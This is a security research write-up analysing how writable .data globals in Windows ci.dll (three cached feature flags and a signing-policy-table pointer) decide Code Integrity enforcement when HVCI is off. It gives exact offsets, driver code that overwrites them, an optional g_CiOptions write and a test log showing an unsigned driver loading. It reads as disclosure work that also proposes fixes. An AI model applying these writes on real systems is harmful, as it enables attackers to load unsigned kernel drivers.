22 min
Disarming Windows Code Integrity through unprotected .data globals
I followed ci.dll's signing decisions past g_CiOptions and found writable globals that still controlled enforcement. With HVCI off, changing 20 bytes was enough to let unsigned drivers load.
g_CiOptions is the obvious place to look if you want to understand Windows Code Integrity enforcement. It is the familiar master switch, and Windows spends real effort protecting it. Kernel Data Protection, or KDP, can make its section read-only through the hypervisor. PatchGuard watches it for changes. On a hardened machine, writing to it is supposed to end badly.
I followed the decisions that ci.dll makes after that switch and found other globals doing security work from ordinary writable .data memory. Three feature configuration flags decide whether verification paths run. A separate pointer decides which signing policy table the checks use. Those inputs sit outside the protection around g_CiOptions.
Changing them takes 20 bytes of writes. With HVCI disabled, the changes let ci.dll approve an unsigned kernel driver without a KDP fault, a PatchGuard check, or an alert from VBS monitoring. The protected switch can keep its original value while the decisions underneath it change.
This requires kernel write access, and HVCI must be off. Those are substantial limits. They are also why I wanted to trace the whole decision path rather than stop at whether g_CiOptions was writable.
What the existing protection covers
Code Integrity was introduced to stop privilege escalation through kernel module injection. A kernel driver needs a digital signature with a valid certificate chain back to a trusted root. With Secure Boot enabled, that policy applies across Windows Home, Professional, and Enterprise. On systems without Hypervisor-Protected Code Integrity, or HVCI, it is the practical layer that decides whether the driver can load.
g_CiOptions lives in the CiPolicy section. When Virtualization-Based Security, or VBS, is active, KDP uses hypervisor-enforced page table entries to protect that section from writes. PatchGuard periodically checksums g_CiOptions and other critical kernel structures, then crashes the system if it detects tampering. HVCI adds a separate constraint on execution by preventing writable memory from being executable.
Earlier approaches commonly target g_CiOptions or the Code Integrity callbacks. Protecting those locations makes sense. But their protection only covers the whole decision if the other inputs are equally trustworthy. I found the gap by following the lower-level branches and asking where their answers came from.
HVCI still stops this
With HVCI active, skci.dll runs in VTL1, above the normal VTL0 kernel. It validates driver images through secure image validation routines, and hypervisor-level No Execute protection prevents unsigned kernel code from executing. Write XOR Execute, or W^X, also keeps writable pages from becoming executable code.
The feature flags at 0x44778, 0x447B8, and 0x447D0, and the policy table pointer at 0x431D8, remain writable from VTL0. Changing them does not remove VTL1’s independent image validation or its execution restrictions. ci.dll can report an accepting policy state, but an unsigned image still does not get to execute.
The bypass therefore depends on HVCI being disabled. Compatible hardware gets HVCI by default on clean Windows 11 installations across all editions. Users can disable it for compatibility or performance, and the technique applies in that configuration. VBS can remain active with HVCI off. It also applies when VBS is absent and KDP protection is unavailable altogether.
Following a driver through ci.dll
When a driver reaches the kernel loader, the loader calls CiValidateImageHeader in ci.dll with the file object and required signing level. ci.dll maps the image, parses its Portable Executable headers, extracts an embedded signature if one exists, computes hashes, and consults policy tables before deciding whether to accept it.
CiValidateFileObject owns the top-level policy logic. sub_18008E294 computes Authenticode hashes, so I refer to it as ComputeAndVerifyPEHash. sub_1800D9070 enforces signing-level decisions, and sub_1800D98CC handles catalog-based signature verification. Along the way, these functions query feature flags and read the signing policy table.
A simplified version of the final policy check looks like this:
// Simplified validation flow
NTSTATUS CiValidateFileObject(FILE_OBJECT *file, int required_level, ...)
{
status = MapAndHashFile(file, ...);
if (status < 0)
return status;
combined_level = EvaluateSigningLevel(...);
// Policy check: is this signing level acceptable?
int policy_mask = g_pSigningLevelPolicyTable[combined_level & 0xF];
if (_bittest(&policy_mask, signing_scenario & 0xF))
{
// Policy says pass. Load the driver.
return STATUS_SUCCESS;
}
// Policy says fail. Reject the driver.
return STATUS_INVALID_IMAGE_HASH;
}
The early checks establish that the file is a valid PE. Later checks deal with hashes and signatures. Near the end, the policy table answers whether a particular signing level is acceptable in the requested scenario. A rejection along the way stops the load, so changing only the final answer does not account for all of the earlier checks.
A read-only table with a writable pointer
Code Integrity has 16 signing levels, numbered 0 through 15. They include Unchecked at 0, Unsigned at 1, Enterprise at 2, Authenticode at 4, Store at 6, Antimalware at 7, and Microsoft at 8. Windows at 12 and Windows TCB at 14 are among the higher trust levels, with several Custom levels occupying other indices.
A signing scenario describes the context in which a signature is used. Enterprise certificates, platform publishers, and Microsoft have different scenarios. ci.dll represents them as bits in a mask.
The policy table connects the two. It has 16 DWORDs, one per signing level, and each DWORD’s set bits mark the acceptable scenarios for that level. The final check indexes the table by signing level and calls _bittest for the relevant scenario:
// Policy table structure (from .rdata, read-only)
DWORD g_SigningLevelPolicyTable[16]; // addresses 0x180031F90-0x180031FCF
// Example values (actual bytes from Windows 11 build 26200):
// [0] 0xFFFFFFFF - level 0: all scenarios pass
// [1] 0xFFFFFFFE - level 1: all except scenario 0
// [2] 0x00005994 - level 2: specific scenarios only
// [10] 0x00000000 - level 10 (Custom 5): nothing passes
// [15] 0x00000000 - level 15 (Custom 6): nothing passes
The table itself lives in read-only .rdata. Every lookup, however, goes through a pointer at offset 0x431D8 in writable .data:
// Pointer stored in .data (writable, no protection)
DWORD *g_pSigningLevelPolicyTable; // address 0x1800431D8
// = points to 0x180031F90 normally
There is nothing unusual about keeping a fixed table in .rdata and a replaceable reference in .data. It is convenient if the operating system needs to update that reference at runtime. Here, though, the reference controls a security decision. Protecting the table does little if kernel code can choose a different table for every reader, and I could not find protection on the pointer.
Feature flags decide whether checks run
ci.dll also uses Windows Feature Configuration, the same general-purpose facility used elsewhere in the kernel. A component asks RtlQueryFeatureConfiguration for a feature’s state. Windows caches the answer to avoid repeated queries and can notify registered consumers when the state changes.
I found three cached flags involved in Code Integrity enforcement. The catalog verification flag at 0x44778 controls whether code must be cataloged and pass catalog-based signature validation. It appears at 23 call sites across 13 functions.
The page hash / HVCI enforcement flag at 0x447B8 controls page-hash verification. Disabling it lets some drivers fall back to embedded-signature validation after a page-hash failure. The signed catalog flag at 0x447D0 controls whether catalogs themselves must be signed. With that flag disabled, ci.dll accepts unsigned catalogs.
All three have the same layout. Bit 4 means the answer is cached, and bit 0 holds the enforcement state. When bit 4 is set, the check returns bit 0 immediately. Otherwise, it queries Feature Configuration and caches the result:
// Feature flag check pattern (from ci.dll)
bool IsPageHashVerificationEnforced()
{
// Fast path: if bit 4 (0x10) is set, result is cached.
// Return enforcement state from bit 0.
if (g_FeatureFlag_PageHash & 0x10)
return g_FeatureFlag_PageHash & 0x01;
// Slow path: query feature configuration system,
// cache the result, and return.
return EvaluateFeatureConfiguration(
g_FeatureFlag_PageHash,
CACHE_AND_NOTIFY,
&FeatureDescriptor_PageHash
);
}
Setting a flag to 0x10 leaves the cache bit set and clears the enforcement bit. The check accepts the cached answer, returns zero, and skips the corresponding verification work. The cache is doing exactly what a cache is meant to do. The problem is who gets to supply its answer.
The three globals sit in .data, outside CiPolicy. Kernel-mode code can write to them. KDP does not protect them, and they are outside the PatchGuard checks and documented KDP-monitored structures covered here.
Where the values live
The relevant regions of the ci.dll image I mapped look like this:
Address Range Section Protection Monitored
──────────────────────────────────────────────────────────
0x180043000-0x180045000 .data rw- No (writable)
0x180050000-0x180051000 CiPolicy rw-/KDP Yes (both)
0x18002B000-0x180043000 .rdata r-- No (read-only)
All four targets fall in the .data region beginning at 0x180043000. The normal VTL0 kernel can write there even when VBS is active and KDP has locked down CiPolicy.
The pointer at 0x1800431D8 normally refers to the read-only policy table at 0x180031F90. Redirecting it changes what all 62 call sites across 29 functions read. That reach is why the pointer matters more than its eight bytes would suggest. The consumers keep making their usual lookups, using a table chosen through writable memory.
How the changes affect validation
The feature flags sit on branches that can skip substantial verification work. ComputeAndVerifyPEHash shows the page-hash flag’s role:
int ComputeAndVerifyPEHash(context, mapped_image, file_size, ...)
{
status = ComputeAuthenticodeHash(context, hash_algo, ...);
if (status >= 0)
goto verify_hash;
// CRITICAL: If page hash verification is not enforced,
// skip the entire page hash validation step.
if (IsPageHashVerificationEnforced() // <-- reads g_FeatureFlag_PageHash
|| context->verification_mode == 2
&& (!use_catalog || (context->flags & 0x200) == 0))
{
goto do_page_hash_verification;
}
// Page hash verification is NOT enforced.
// Fall through to embedded signature check instead.
status = VerifyEmbeddedSignature(context, ...);
// ... rest of verification ...
do_page_hash_verification:
// ... verify page hashes ...
}
With g_FeatureFlag_PageHash set to 0x10, IsPageHashVerificationEnforced returns zero. That lets the path fall through to embedded-signature validation when the remaining conditions allow it. For a driver with no embedded signature that should have gone through page-hash validation, disabling the check has the practical effect of accepting a driver that should have failed that stage.
The policy table controls the later acceptance decision. A replacement table filled with 0xFFFFFFFF makes every _bittest succeed, so the policy accepts every signing level:
// Attack: redirect policy table
DWORD fake_table[16];
RtlFillMemory(fake_table, sizeof(fake_table), 0xFF);
*(QWORD *)(ci_base + 0x431D8) = (QWORD)&fake_table;
// Now every policy check succeeds
int policy_mask = g_pSigningLevelPolicyTable[level]; // reads from fake_table
if (_bittest(&policy_mask, scenario)) // always true
{
accept_driver(); // always executes
}
I used both changes because they affect different parts of validation. The flags disable specific verification paths. The replacement table makes the remaining signing policy checks pass. Together, they disable enforcement without needing to change g_CiOptions or trigger PatchGuard. HVCI remains the independent check that prevents this from becoming unsigned code execution when it is enabled.
Why these values may have missed hardening
I cannot recover the original design intent from a binary, but the shape of the code suggests a few explanations.
The feature values look like ordinary cached configuration. They use the generic RtlQueryFeatureConfiguration machinery rather than a Code Integrity-specific mechanism. That makes them easy to read as implementation details, even though their answers decide whether signature checks run.
The policy pointer is similarly buried below familiar entry points such as CiValidateImageHeader and globals such as g_CiOptions. It receives less attention than the top-level enforcement switch. Protecting that switch can look sufficient until a lower-level lookup supplies an answer that changes the outcome.
Finally, .data has the usual kernel privilege boundary around it. Kernel-mode code is already required to make these writes, and on a hardened system HVCI supplies an additional boundary. Even a write obtained through a vulnerable driver should not allow unsigned code to execute while HVCI is active. Turn HVCI off, and that fallback disappears. ci.dll can approve the image and the loader can give it the required Second Level Address Translation, or SLAT, permissions.
These are explanations I find plausible, not evidence of Microsoft’s intent. The part visible in the binary is that the decisions depend on writable state outside the protected section.
The driver I used to test it
The bypass driver locates ci.dll, checks that the target offsets fall inside .data, saves the original values, and applies the changes atomically. The layout check is there to avoid operating on the wrong build. Saving the values gives the unload routine a way to restore enforcement after the test.
The replacement policy table is a private g_fake_table filled with 0xFFFFFFFF:
static DECLSPEC_ALIGN(16) ULONG g_fake_table[16] = {
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFF,
};
The driver changes the feature flags and exchanges the policy pointer:
// Disable feature enforcement
*p_cat = 0x10; // g_FeatureFlag_CatalogEnforcement
*p_ph = 0x10; // g_FeatureFlag_PageHash
*p_sc = 0x10; // g_FeatureFlag_SignedCatalog
// Redirect the policy table pointer
InterlockedExchangePointer(p_tbl, g_fake_table);
I also left an optional attempt to change g_CiOptions. That write is wrapped in Structured Exception Handling, or SEH, to catch a KDP fault when CiPolicy is protected:
__try
{
ULONG new_opts = ci_opts_val & ~0x2Fu; // clear enforcement bits
*p_ciopts = new_opts;
MemoryBarrier();
ULONG readback = *p_ciopts;
if (readback == new_opts)
{
// g_CiOptions write succeeded
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// KDP faulted the write (VBS is protecting CiPolicy)
}
On unload, the driver restores the saved values in reverse order:
InterlockedExchangePointer(p_tbl, g_ctx.orig_policy_ptr);
MemoryBarrier();
*p_cat = g_ctx.orig_catalog;
*p_ph = g_ctx.orig_page_hash;
*p_sc = g_ctx.orig_signed_cat;
if (g_ctx.ci_options_written)
*p_ciopts = g_ctx.orig_ci_options;
What the test showed
I ran the driver on Windows 11 build 26200 with VBS inactive. Its load log was:
[codesign] [*] target: Windows 10.0.26200
[codesign] [+] CI.dll @ FFFFF8070B090000 size=0x114000
[codesign] [*] validating offsets against PE layout...
[codesign] [+] all offsets validated in .data (rw-, no KDP, no PatchGuard)
[codesign] [*] snapshots:
[codesign] catalog flag = 0x00000057
[codesign] pagehash flag = 0x00000057
[codesign] signedcat flag= 0x00000057
[codesign] policy ptr = FFFFF8070B0C1F90
[codesign] g_CiOptions = 0x00000016
[codesign] [+] policy ptr targets .rdata; legitimate table confirmed
[codesign] real table[0..3] = FFFFFFFF FFFFFFFE 00005994 000059FC
[codesign] [*] killing feature flag enforcement...
[codesign] [*] redirecting policy table to all-pass...
[codesign] [*] attempting g_CiOptions modification (caution: may be KDP-blocked)...
[codesign] [+] g_CiOptions: 0x16 -> 0x10 (no KDP block)
[codesign] [+] CI ENFORCEMENT DISABLED
[codesign] [*] loaded; staying resident until 'sc stop codesign'
After loading the bypass driver, I loaded the unsigned test driver and ran it with kernel privilege. There was no Code Integrity rejection or PatchGuard check. The test driver stayed resident and functional until I unloaded the bypass driver, whose cleanup restored the saved values and returned enforcement to normal.
The g_CiOptions line deserves some care. In this run, the optional write succeeded because VBS was off and KDP was not protecting CiPolicy. This log therefore shows a configuration where both the familiar switch and the .data values were writable.
With VBS protecting CiPolicy, the g_CiOptions write would fault while the separate .data writes would still succeed. If HVCI were active as well, it would prevent the unsigned image from executing despite those writes. Keeping those configurations separate is necessary to understand what the log demonstrates and where the technique stops.
Kernel write access is still required
This is a gap in defense in depth. KDP and PatchGuard protect known state such as g_CiOptions, while additional configuration and policy inputs can still change the decision below it. Protecting a master switch is useful, but it does not make every value consulted after that switch trustworthy.
On a machine without HVCI, kernel write access lets an attacker disable the page-hash and catalog checks, redirect the signing policy table, and load unsigned drivers. Depending on VBS and KDP state, g_CiOptions may also be writable, although the .data changes target a separate part of enforcement.
That access is a high bar. It can come from a vulnerable driver used through Bring Your Own Vulnerable Driver, or BYOVD, a kernel vulnerability, or a test setup with a kernel debugger attached. The result matters because kernel write access on a machine without HVCI can become a complete Code Integrity bypass.
On a fully hardened system with VBS and HVCI active and no kernel debugger, skci.dll still validates images independently in VTL1. Unsigned code does not receive an executable mapping just because VTL0’s policy state says yes. Using these globals to execute unsigned code there would require defeating that additional validation too.
CiPolicy protection has conditions too
While checking the protected section, I found another condition in ApplyKDPProtection. KDP applies to CiPolicy when any of the following is true:
- The force-KDP bit in
g_CiOptionsis set. - The kernel debugger is not enabled.
- The kernel debugger is flagged as not present.
With a debugger attached and no force-KDP flag, those conditions leave CiPolicy writable. Even g_CiOptions then becomes a direct target. The same condition can occur on a debug-enabled boot configured with bcdedit /debug on, including cases where a debugger is not actually present, depending on the boot flag state. Under those administrative configurations, changing the .data values is unnecessary because the protected section itself has lost its hardware protection.
Protect the inputs that decide the result
The fix I would like to see is fairly specific. skci.dll could verify the feature configuration flags and the signing policy table pointer as part of its existing checks. Alternatively, Microsoft could move those values into CiPolicy, beside g_CiOptions, so KDP and skci.dll protect them too.
HVCI already prevents the unsigned execution demonstrated here when it is enabled. The remaining hardening gap is in the VTL0 decision itself. Three cached flags and one pointer can change that decision from ordinary .data, even while the better-known enforcement state is protected. They deserve the same protection as the switch everyone already knows to watch.